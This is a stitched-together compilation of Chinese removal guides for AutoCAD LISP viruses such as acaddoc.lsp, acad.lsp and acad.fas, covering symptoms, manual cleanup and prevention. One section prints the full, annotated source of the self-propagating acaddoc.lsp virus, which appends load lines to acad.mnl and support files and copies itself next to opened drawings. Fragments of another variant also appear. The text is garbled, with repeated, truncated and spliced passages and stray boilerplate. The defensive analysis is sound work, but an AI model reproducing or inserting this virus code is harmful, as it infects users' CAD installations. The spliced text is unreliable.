CAD中lsp病毒处理办法
CAD病毒acaddoc
天正CAD产生的acaddoc.lsp病毒怎么解决①、关闭CAD（一定要先关闭正在运行的CAD程序）。
②、进入安全模式（重要前提！！！），按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。
③、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)④用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。
(错误: LOAD 失败: "acadapq")的根源。
(如“acad.mnl”文件中无此行代码可忽略此操作)附：“acad.mnl”文件可能在下面的目录中，C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD200×\R×.×\chs\Support其中×××是你登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代号。
（注意：目录C:\Documents and Settings\是系统隐藏文件夹）acaddoc.lsp病毒有效的方法。
1:查找acaddoc.lsp，把高级选项打开，把隐藏的也搜索出来删除。
CAD里LSP病毒文件的解决方法
如果CAD 鼠标中键不能平移，而是弹出下拉菜单，修改系统变量mbuttonpan的值为1，重新打开CAD后鼠标中键还是一样不能平移，有什么方法能够恢复原来的中键平移功能呢？1、清除LSP病毒文件说明该病毒是以前那个炸开命令不能使用病毒的变种，它修改了这4个系统变量的值。
(setvar "zoomfactor" 12)(setvar"mbuttonpan" 0)(setvar"HIGHLIGHT" 0)(setvar "fillmode" 0)这4个系统变量的默认值是：(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)（系统变量的相关说明请打开CAD后按F1键查看帮助文档。
）它不像以前的病毒那样，让一些命令无法使用，而是修改了几个系统变量使我们的操作不方便。
它的传播方式跟以前一样，只能在CAD支持路径和打开DWG文件时传播。
大家可以试试下面的方法：①、关闭CAD（一定要先关闭正在运行的CAD程序）。
②、按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。
③、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：(setvar "zoomfactor" 40）(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)④用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。
常见AutoCAD病毒（acad.fas、acad.lsp）清除方法
常见AutoCAD病毒（acad.fas、acad.lsp）清除方法没有删除干净吧。
“CAD恶意程序”网上也称之为“CAD病毒”。
其实，常见的CAD恶意程序并不具备一般病毒特征，不能单独传染，不会感染系统文件，只能在CAD环境下传播，没有对系统产生危害，但会造成CAD 部份命令失效（如：无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等），使其操作不便，从而影响制图效率及质量。
CAD恶意程序清除工具，支持CAD2002-2010版本。
程序根据“病毒及信任文件”列表搜索、删除CAD恶意程序并清除其加载项。
大家在工作中，打开自己或别人拷贝来的DWG文件前，不要忙着打开CAD，先看看这个DWG图纸目录内，有没有acad.lsp、acad.fas和acad.vlx这些的文件，有就应该立即清除该文件。
这样可以大大减少“CAD恶意程序”传播的机会。
手工清除方法：①、关闭CAD（一定要关闭正在运行中的CAD程序）；②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口，全盘搜索下面的已知可能是CAD恶意程序的文件名；acad.lspacad.fasacad.vlxacad.sysacaddoc.lspacadiso.lspacaddoc.fasacadapq.lspacadappp.lspacadapp.lsplcm.fasacadsmu.fas搜索发现文件后，注意该文件的所在目录，判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件，再决定是否删除。
注意：“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上，否则不能完全搜索出这些文件。
③、复制代码“(setvar "zoomfactor" 40)(setvar "mbuttonpan"1)(setvar "highlight" 1)(se tvar "fillmode" 1)(setvar "pickauto" 1)”粘贴在CAD命令行，恢复被修改的系统变量；④、清除残留的加载项，复制“(startapp "notepad" (findfile "acad.mnl"))”在CAD命令行，打开“acad.mnl”文件，查看文件内是否有类似“(load "acadappp")”或“(load "acadappp.lsp")”这样的内容，有则删去这些内容后保存“acad.mnl”文件；无可忽略此操作。
CAD病毒acaddoc
天正CAD产生的acaddoc.lsp病毒怎么解决①、关闭CAD（一定要先关闭正在运行的CAD程序）。
②、进入安全模式（重要前提！！！），按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。
③、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)④用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。
(错误: LOAD 失败: "acadapq")的根源。
(如“acad.mnl”文件中无此行代码可忽略此操作)附：“acad.mnl”文件可能在下面的目录中，C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD200×\R×.×\chs\Support其中×××是你登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代号。
（注意：目录C:\Documents and Settings\是系统隐藏文件夹）acaddoc.lsp病毒有效的方法。
1:查找acaddoc.lsp，把高级选项打开，把隐藏的也搜索出来删除。
CAD病毒LSP解决办法
第一种方法：
①、关闭AutoCAD软件
②、搜索并刪除所有“acaddoc.lsp”文件
③、找一台没有被CAD病毒破坏、且安装有相同版本AutoCAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”），一定要你的机器是ie为6或者更高版本，配置文件错误，执行options命令，把cad的配置设为<<未命名配置>>，然后删除“HyAcs_52”配置。退出AutoCAD，重新进入acs。
文章主题：7.CAD病毒“错误: 输入的列表有缺陷”的解决办法
作者：zsx 时间：2010-1-22 13:55:20
据我们的乐清和北京的客户说，打开AutoCAD2004，命令行提示出现：错误: 输入的列表有缺陷（CAD病毒），重装AutoCAD都没有用！其实，每次打开一个文件，AutoCAD就会自动生成一个叫“acaddoc.lsp “的脚本文件，而且会造成AutoCAD运行很缓慢！当出现错误: 输入的列表有缺陷（CAD病毒）的时候，必须按ESC取消，才有可能出现AutoC.搜索全盘的acaddoc.lsp，并删除；
2.显示隐藏文件；
3.把压缩包里的1.lsp改名为acaddoc.lsp，再把改完后的acaddoc.lsp和acadapq.lsp覆盖路径C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2004\R16\chs\Support下相应的文件即可。
acaddoc
acaddoc.lsp病毒文件彻底清除方法(2012-05-20 23:33:17)转载▼分类：电脑知识标签：杂谈前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个acaddoc.lsp 的病毒文件，虽破坏力不大，但烦不胜烦。
经研究病毒源码后，摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证，该方法行之有效。
于是将杀毒方法成文，群发给部门同事，以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD 开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
AUTOCAD中了lsp病毒的解决办法
再次，到C:\Documents and Settings\中毒的用户名\Application Data\
C:\Documents and Settings\中毒的用户名\Local Settings\Application Data
这个地方下面删除autodesk文件夹
接着到 开始---设置---添加删除程序 卸载cad
再删除acad的安装文件夹 我的安装位置 c:\program files\autocad2004
然后全新安装cad 即可完全恢复正常
把前面的“钩”去掉；在“显示所有文件和文件夹”前面打上钩，
点“应用”——>“确定”；
然后点“搜索”打开XP系统的文件搜索窗口，
点开“更多高级选项”，勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”“搜索磁带备份”这4项后
搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
②、按F3键打开XP系统的文件搜索窗口，分别搜索并删除acad.lsp、acad.fas、acaddoc.lsp、acadapq.lsp、acadappp.lsp、acadapp.lsp和lcm.fas文件（一般常见的有 acad.lsp/acadapq.lsp文件）
注意：
①、“搜索范围”一定要选择“本机硬盘驱动器 (如C;D;E;F)”。
一、填充命令用了没反映，打开“选项”勾选“实体填充”后可以用了，但是重开CAD又是老样子
大家可以试试下面的手工方法：
①、关闭CAD（一定要先关工具”——>“文件夹选项……”——>“查看”，
找到“隐藏受保护的操作系统文件（推荐）”，
②、一定要先勾选“搜索选项”中的“高级选项”，将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”“搜索子文件夹”项勾选上，否则不能将病毒文件全部搜索清除干净。
解决acaddoc.lsp病毒及CAD粘贴慢的办法
;;;
;;; Globalization Note:
;;; We do not support autoloading applications by the native
;;; language command call (e.g. with the leading underscore
;;;
;;; Copyright (C) 1994-2007 by Autodesk, Inc.
;;;
;;; Permission to use, copy, modify, and distribute this software
;;; for any purpose and without fee is hereby granted, provided
这种方法很多人试了都能解决，当然，有时候反应慢还跟自己的电脑有关系，不能完全把责任推到软件上面！
;;; documentation.
;;;
;;; AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
;;; AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
;;; MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
Байду номын сангаас
CAD复制粘贴反应慢甚至死机的解决办法
在使用CAD2008的时候，如果要把某一张图复制到另外一张图，尤其是当图片很大的时候，会出席粘贴很慢，有时候还可能造成死机的情况，通常只能强行结束，那么这个时候怎么办？实际上造成这种现象的原因是在CAD2008里面新增加了注释行这一功能，出现上述问题的图形文件内部存在大量的注释性比例，当粘贴新的对象到文件时CAD会自检一遍这些比例设置，当比例有成百上千条时，这个过程就需要很长时间，CAD程序也就会出现反应中止的现象了。
AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp
AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒，在CAD软件使用中主要表现的情况如下：1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法：关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤：没有处理acad.mnl文件，这样的清除并不彻底，下次再打开带毒的dwg文件（这里并非指dwg文件本身带毒，而是指在该dwg文件下有acaddoc.lsp文件存在）后，系统又会感染病毒，偶曾经对这个cad病毒的代码做过详细分析，下面是原文，有兴趣的朋友可以详细看看：最近自己的电脑中了CAD病毒，症状为打开一个dwg文件后，在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件，即使手工将其删除，下次打开dwg文件时又会自动生成。
如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上，只要一打开该dwg文件，则该电脑就会被感染。
因为这个CAD病毒是个lisp程序，花了些时间对病毒代码进行分析如下：-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名，这句没有用处，下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄，c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开，不存在则创建，然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏，但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志，已感染为1，未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄，若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容，读取结束后，wns1中是倒数第2行(setq wns1 wns2 ) ;内容，wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志，;;; ;已感染为1，未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄，若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容，读取结束后，wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染，则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法，等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容，在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else （acad.mnl文件已感染）(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容，写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else （若加载的是support目录下的acaddoc.lsp文件）(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件，将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法，没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知，该病毒的病毒文件有2个，一个为acadapq.lsp，位于ACAD 安装目录下的support目录下，另一个为acaddoc.lsp，位于当前打开的dwg文件所在目录下，2个病毒文件的内容相同。
acaddoc(整理).lsp病毒文件彻底清除方法.pptx
五 预防措施： 由于该病毒是通过读取 dwg 文件所在的目录下 acaddoc.lsp 来传播的。因为在接受
其他同事的文件夹时，应先检查该文件夹中是否包含上述病毒文件。如有，则删除之。同时 也应该确保传给其他同事的文件夹不要包含上述文件。
下的 acad.mnl 文件，感染同一目录下的*.mnl 文件，搜索 acad 的 support 目录，并感染该 目录下的所有*.lsp 文件。同时病毒在当前打开的 dwg 文件所在目录下生成 acaddoc.lsp 文 件，以利于下次传播。
如本机未中毒，而新打开的 dwg 文件所在目录下有 acaddoc.lsp 文件，则病毒将感 染上述目录下的*.mnl 与*.lsp 文件。
2
－－犀利的分割线－－ 上文中所说的样本文件里所含代码即一段以 “(setq flagx t) (setq bz "(setq flagx t)")”开头， 以“(load "acadapq") (princ) (load "acadappp.lsp") (princ)”结尾的代码，很好辨识，中招的同学不妨一试。
病毒会感染 support 目录下的 *.lsp 文件。因此建议新建一个文件夹，将常用的 lisp 程序放置在该文件夹下，同时在 CAD 选项中将其设置为工作搜索目录。 未装杀毒软件的机器应首先将杀毒软件装上（360 杀毒软件免费的），在接受他人传来的文 件后应首先杀毒。 建议不要直接打开公共盘上的 dwg 文件，应先下载到本机再打开。
学海无涯
前言: 最近本人公司里流行一种 CAD 病毒，中毒后，CAD 每次新开图均生成一个 acaddoc.lsp 的病毒文件， 虽破坏力不大，但烦不胜烦。经研究病毒源码后，摸索出了一套清除该病毒的办法。然后经 过在数个同事机器上验证，该方法行之有效。于是将杀毒方法成文，群发给部门同事，以下 是原文。
最新CAD病毒查杀
常见AutoCAD病毒(acad.fas、acad.lsp)清除方法
acad.fas、acad.lsp这两种病毒是最常见的CAD病毒了，并且往往同时出现。
由于其本身对系统并不具备危害性，仅仅是恶作剧程序罢了，因此大多数防病毒软件对它们不起作用，下面介绍手动删除方法。
第一步：查找硬盘、U盘内的 acad.fas、lcm.fas、acad.lsp、acadapp.lsp、acadappp.lsp 五个文件并删除干净（查找前请将显示隐藏和系统文件打开，这五个文件不一定同时出现。
强烈建议使用Total Commander文件管理器查找）。
第二步：查找acad.mnl文件（这个文件通常有两个，一个在“c:\Program Files\AutoCAD****\UserDataCache\Support\”文件夹下，另一个在“c:\Documents and Settings\你的用户名\Application
Data\Autodesk\AutoCAD****\R****\chs\Support\”文件夹下。
目前病毒仅修改第一个acad.mnl文件）。
打开acad.mnl文件，在文件末尾找到以下三个语句的组合并删除（这三个语句组合不一定同时出现），然后保存文件。
(if (null stol) (load "lcm" ""))
(princ)
(load "acadapp.lsp")
(princ)
(load "acadappp.lsp")
(princ)。
关于lisp病毒的处理方法（尼个病毒用360、金山、瑞星等杀毒软件都无办法清除的。）
关于lisp病毒的处理方法（尼个病毒用360、金山、瑞星等杀毒软件都无办法清除的。
）近日我看到从事设计工作的朋友被cad病毒（acad.lsp）所困扰，具体表现就是在绘制某些图纸时，cad的一些命令（如炸开/分解（explode））失灵，并且存盘后会生成名为acad.lsp的文件，将图纸发给其他同事协作时，他们的cad也会出现同样的问题……，其严重影响我们的制图效率及质量，个中郁闷也只有常用autocad的人才明白。
其实这是cad病毒在作怪。
用windows记事本打开acad.lsp文件，发现开头部分的代码如下：(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacadnowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2)(setq old_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq path (findfile "base.dcl"))(setq path (substr path 1 (- (strlen path) 8)))(setq mnlpath (getvar "menuname"))(setq nowdwg (getvar "dwgname"))(setq wjqm (findfile nowdwg))(setq dwgpath(substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))(setq acadpath (findfile "acad.lsp"))(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))……要想如何解决它，首先需要了解它。
关于AutoCAD中的LISP病毒
关于AutoCAD中的LISP病毒目前CADr14有一种lisp代码具备病毒的特征，有一定危害具体情况如下：在有DW G文件里如果带有ACA D.LSP双击打开DW G文件，就会自动加载这个lisp，此lisp的功能是：加载后炸开命令外部引用等命令失效。
并且可传染：加载后在你SUPPORT目录下生成一个ACA DAPP.slp，在ACA D添加(LOAD "ACA DAPP") (PRINC)这样以后你打开acad就自动加载了ACA DAPP，它在你每个操作过的acad图形文件的文件夹下生成带恶意代码的A CAD.LSP这样如果你复制整个文件夹，或者通过局域网打开图形，就会导致在不同的机器内传染。
问题现象：EXPLODE命令失效（同时还有XREF、XBIND）；每个编辑过dwg文件的目录下面都会有一个acad.lsp；保存至另一目录时也同时产生acad.lsp；打开别人的文件时，如果该目录下有acad.lsp，那么你必中招。
解决办法一: Autocad\\support\\下建立一个acad.lsp的空白文件,并将文件属性置为只读,你自己不会具有二次传染性,可以阻止病毒的扩散.如果中毒就删掉图形目录下的acad.lsp,最好进行网络全体搜索清除清除。
解决方法二：用.Explode（在命令前加小数点“.”）可以分解；删除所有这些acad.lsp文件。
解决方法三：有个免疫设置的方法，将support目录下的ACA D.lsp设为只读，如果有ACADAPP.lsp就清空后也将其设为只读。
病毒名称Harm.Bursted该病毒是使用绘图软件：AutoCAD的内嵌脚本语言的写成，文件名为："acad.lsp" 可由AutoCAD启动时自动执行，但它不影响图形文件。
此病毒使AutoCAD的内部命令－EXPLODE, XREF 和XBIND无效，并定义一个新的命令BRUST，此命令将显示如下消息：BURST----将图块中的文字炸开后成为实体中了病毒"ASL.Bursted.A"病毒之解決方案我的電腦昨日中毒諾頓掃描後顯示說D:\RECYCLER\S－1-5-21-299502267-2139871995-726345543-1003\Dd44.rar感染ASL.Bursted.A病毒我從網路上各網站找沒有確切的方案有的說刪掉該檔案<有的提供出殺毒小軟件但均無法刪除但我從各論壇的的二次開發看到一段很重要的話ACAD有个很大的优点就是开放性它有很多开放的接口这给用户自定义以及第三方二次开发提供了极大的方便。
CAD .lsp病毒清除方法
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
第2步 查杀acad.vlx病毒
1. 仔细搜索查看CAD安装目录后会发现Express目录的acetauto.lsp文件和Support目录的ai_utils.lsp文件都被修改了。同时Help目录内也多出了一个logo.gif文件，仔细查看它的字节大小，确定它就是这个acad.vlx文件的副本。
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
4、检查CAD安装目录文件的修改时间，把最近的几个文件中的病毒代码删除。（用记事本打开）
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
(setq acadexe (findfile "acad.exe"))
常见AutoCAD病毒(acad.fas、acad.lsp)清除方法
(setvar "mtexted" ".")
(princ)
附录：
有关该CAD病毒 acad.fas 的说明：
1.它对电脑是没有任意的危害性！
2.它在8:00到18:00这段时间,对CAD没有任何影响的!
它的副作用就是：
你的CAD在启动时会弹出一个显示时间的对话框
如果时间不在8:00至18:00之间，还有可能伴随"移动"命令改变等情况。
第二步：查找acad.mnl文件（这个文件通常有两个，一个在“c:/Program Files/AutoCAD****/UserDataCache/Support/”文件夹下，另一个在“c:/Documents and Settings/你的用户名/Application Data/Autodesk/AutoCAD****/R****/chs/Support/”文件夹下。目前病毒仅修改第一个acad.mnl文件）。
常见AutoCAD病毒(acad.fas、acad.lsp)清除方法
acad.fas、acad.lsp这两种病毒是最常见的CAD病毒了，并且往往同时出现。由于其本身对系统并不具备危害性，仅仅是恶作剧程序罢了，因此大多数防病毒软件对它们不起作用，下面介绍手动删除方法。
第一步：查找硬盘、U盘内的 acad.fas、lcm.fas、acad.lsp、acadapp.lsp、acadappp.lsp 五个文件并删除干净（查找前请将显示隐藏和系统文件打开，这五个文件不一定同时出现。强烈建议使用Total Commander文件管理器查找）。
在这段时间内的临时解决方案为：
(2020年整理)acaddoc.lsp病毒文件彻底清除方法.doc
前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个acaddoc.lsp的病毒文件，虽破坏力不大，但烦不胜烦。
经研究病毒源码后，摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证，该方法行之有效。
于是将杀毒方法成文，群发给部门同事，以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
关于AutoCAD中的LISP病毒
关于AutoCAD中的LISP病毒目前CADr14有一种lisp代码具备病毒的特征，有一定危害具体情况如下：在有DW G文件里如果带有ACA D.LSP双击打开DW G文件，就会自动加载这个lisp，此lisp的功能是：加载后炸开命令外部引用等命令失效。
并且可传染：加载后在你SUPPORT目录下生成一个ACA DAPP.slp，在ACA D添加(LOAD "ACA DAPP") (PRINC)这样以后你打开acad就自动加载了ACA DAPP，它在你每个操作过的acad图形文件的文件夹下生成带恶意代码的A CAD.LSP这样如果你复制整个文件夹，或者通过局域网打开图形，就会导致在不同的机器内传染。
问题现象：EXPLODE命令失效（同时还有XREF、XBIND）；每个编辑过dwg文件的目录下面都会有一个acad.lsp；保存至另一目录时也同时产生acad.lsp；打开别人的文件时，如果该目录下有acad.lsp，那么你必中招。
解决办法一: Autocad\\support\\下建立一个acad.lsp的空白文件,并将文件属性置为只读,你自己不会具有二次传染性,可以阻止病毒的扩散.如果中毒就删掉图形目录下的acad.lsp,最好进行网络全体搜索清除清除。
解决方法二：用.Explode（在命令前加小数点“.”）可以分解；删除所有这些acad.lsp文件。
解决方法三：有个免疫设置的方法，将support目录下的ACA D.lsp设为只读，如果有ACADAPP.lsp就清空后也将其设为只读。
